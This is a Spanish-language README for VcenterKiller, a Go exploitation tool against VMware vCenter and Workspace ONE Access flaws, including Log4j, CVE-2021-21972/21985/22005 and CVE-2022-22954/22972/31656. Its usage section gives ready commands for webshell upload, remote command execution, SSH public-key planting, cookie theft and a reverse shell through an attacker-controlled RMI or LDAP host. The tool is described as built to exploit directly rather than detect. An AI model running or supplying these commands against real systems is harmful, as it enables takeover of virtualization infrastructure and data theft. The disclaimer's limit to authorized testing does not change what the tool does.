VcenterKiller

-1. Atención

Compañeros que construyen un entorno de vulnerabilidad localmente, al usar vckiller para verificar log4j, generalmente fallará, porque en el entorno de Vmware con modo NAT, la tarjeta de red de salida en el módulo de verificación se determina como 127.0.0.1, por lo que la dirección del servidor LDAP al que accede el objetivo se convierte en 127.0.0.1, y la verificación falla 😏

0. Lectura obligatoria

Si encuentra un error, abra un issue. Esta herramienta se creó solo por conveniencia; no tiene nada elevado.

1. ¿Qué es?

Una herramienta integral de verificación para Vcenter, que incluye las vulnerabilidades principales actuales: CVE-2021-21972, CVE-2021-21985 y CVE-2021-22005. Proporciona funciones como cargar webshell con un solo clic, ejecución de comandos o cargar una clave pública y conectarse mediante SSH, así como detección y explotación de la vulnerabilidad Apache Log4j CVE-2021-44228 en Vcenter, por ejemplo, ejecución de comandos y obtención de salida (se necesita un servidor LDAP malicioso). Ahora ya no es necesario iniciar un servidor LDAP adicional; he creado un método de explotación basado en la herramienta jndi-injection. Vcenter usa Tomcat como middleware, por lo que basta con usar la cadena de explotación TomcatBypass.

2. Su enfoque

Generalmente, los Vcenter están en la red interna y las características de las vulnerabilidades son comunes. Herramientas como fscan pueden detectarlas fácilmente. Por lo tanto, VcenterKiller no está diseñado para detectar si un objetivo tiene una vulnerabilidad, sino para intentar explotarla directamente. Normalmente se ejecuta desde un servidor proxy a través de CS/MSF, por lo que se han eliminado otros resultados superfluos.

¿Por qué Go? Porque Python es fácil de escribir pero molesto de usar: varias dependencias y el compilado ocupa mucho espacio. C# no es multiplataforma, lo dejé a medio camino.

3. Uso

go build -o main.exe

./main.exe -u https://192.168.1.1 -m 21985 -c whoami
./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh // Cargar clave pública
./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx
./main.exe -u https://192.168.1.1 -m log4center -t scan // Escanear log4j
./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami // También se puede omitir el servidor ldap
./main.exe -u https://xx.xx.com -m 22954 whoami
./main.exe -u https://xx.xx.com -m 22972 // Obtener cookie
./main.exe -u https://xx.xx.com -m 31656 // Si CVE-2022-22972 no funciona, pruebe CVE-2022-31656

4. Descargo de responsabilidad

Esta herramienta está dirigida únicamente a actividades de seguridad empresarial legalmente autorizadas, como ejercicios internos de ataque y defensa, verificación de vulnerabilidades y pruebas posteriores. Si necesita probar la funcionalidad de esta herramienta, construya su propio entorno de destino.

Al usar esta herramienta para pruebas, debe asegurarse de que la acción cumpla con las leyes y regulaciones locales, y que haya obtenido la autorización suficiente. No la use contra objetivos no autorizados.

Si comete algún acto ilegal durante el uso de esta herramienta, asumirá las consecuencias correspondientes; no asumiremos ninguna responsabilidad legal o conexa.

5. Historial de actualizaciones

V1.0 Lanzamiento
V1.1 Para CVE-2021-21985 se agregó la función de reverse shell mediante rmi, que requiere iniciar un servidor rmi, por ejemplo, jndi-injection-exploit
V1.2 Se agregó la capacidad de detectar y verificar log4j en Vcenter
V1.3 Se agregó la función de verificación de vulnerabilidades en Vmware WorkSpace One Access, incluyendo CVE-2022-22954 (ejecución remota de comandos); CVE-2022-22972 y CVE-2022-31656 (omisión de autenticación)
V1.3.1 Se corrigió el problema de ignorar el puerto al detectar log4j; algunos servicios cambian el puerto predeterminado 443
V1.3.2 Se modificó el método de explotación de log4j, ejecutando comandos y obteniendo salida mediante tomcatbypassEcho. Probado en vcenter 7.0 linux.
V1.3.3 Se agregó la diferencia de explotación entre las versiones 6.7 y 7.0: en 7.0 es obligatorio usar tomcatbypass, mientras que en 6.7 basta con usar el basic normal
v1.3.4 Se modificó la lógica de verificación de log4j; actualmente se realizan 5 ciclos con diferentes payloads sin distinción; si hay respuesta, está; si no, no hay
v1.3.5 Se eliminó la dependencia de Jndi-Injection-Exploit para log4j; ahora puede ejecutar comandos directamente y obtener salida
v1.3.6 Se modificó la función ssh de 21972 y se optimizaron otros detalles
v1.3.7 Se agregó la función de proxy, compatible con http y socks
v1.3.8 Aún no comenzado; se considera agregar funciones...
...